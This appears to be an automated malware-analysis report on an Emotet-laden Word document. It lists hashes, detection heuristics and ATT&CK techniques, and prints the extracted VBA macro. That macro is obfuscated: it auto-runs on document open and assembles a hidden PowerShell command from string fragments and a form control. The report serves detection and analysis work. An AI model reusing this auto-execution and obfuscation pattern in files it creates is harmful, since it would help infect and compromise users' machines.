Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 e01e540c07f09cb2…

MALICIOUS

Office (OLE)

265.0 KB Created: 2019-02-01 13:06:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: b91c42eafa763d907384cad1dec5e0d1 SHA-1: 5939a91945d3740bdf13344faefec2ab0af0ed23 SHA-256: e01e540c07f09cb2307405cc15803f4b8a89fa6d9a41cd73e9b585fbfbffdb87
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute code. This is a common technique for Emotet to download and run additional malicious payloads. The ClamAV detection explicitly names Emotet, further supporting this classification.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6965636-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6965636-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1920 bytes
SHA-256: 474feb9fc8742497dd2f76d6110b3d7aca21c7decf4c7d3be3631036f78adf23
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim l9NhIAVD8
l9NhIAVD8 = vbNullString
Dim Y4tQp As Double
Y4tQp = Sgn(37127.053584264)


Dim AWz9v As Long
AWz9v = Sgn(0)
Dim nTHntLfp As Single
nTHntLfp = Int(38921.148418898)
love "o"
End Sub

Attribute VB_Name = "XgPRF035"
Sub love(BAqhCi)
Dim rej3u7Q As Double
rej3u7Q = Round(19909.986118677)
Dim u5ghbJ As Byte
u5ghbJ = 74
Dim cR6JvgZsh As Double
cR6JvgZsh = 3431.4385625747
Dim e3Tutxm As Byte
e3Tutxm = 46
Dim xsMUoXJ As Boolean
xsMUoXJ = False
Dim Lz5ul As String
Lz5ul = Asc("(")
Dim Mac47l2k As Integer
Mac47l2k = -29868
Dim vsWx6b As Single
vsWx6b = Sgn(27804.997028276)
Dim cYhqv As Double
cYhqv = Round(18158.815251817)
UiOvDnu = "w"
Call Shell(it8wUgfEG(1) & BAqhCi & UiOvDnu & Nydpu9Se, 0)
End Sub

Attribute VB_Name = "Iau6vFb"
Public Function it8wUgfEG(BS3Q7Hfl As Integer)
Dim uI1Bi As String
uI1Bi = Val(asvYpGeJ)
it8wUgfEG = "p"
End Function

Attribute VB_Name = "e5qLBS6Us"
Public Function Nydpu9Se()
Dim WduFV As Object
Dim rcBJNO As Long
rcBJNO = -1203538468
Dim SOdTSE2M As Single
SOdTSE2M = 50637.634690019
Set WduFV = New f
Dim H39z0eFla
H39z0eFla = AscW("e")
Dim lKjYSUP As Single
lKjYSUP = Int(16010.029652757)
Dim wWdyn47 As String
wWdyn47 = WduFV.de.Text
Nydpu9Se = wWdyn47
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{BDC5F250-B230-4CDF-BAFC-7F47AEBCF1B7}{5331AE1D-ECCA-4748-8831-4CA5F5B935F4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False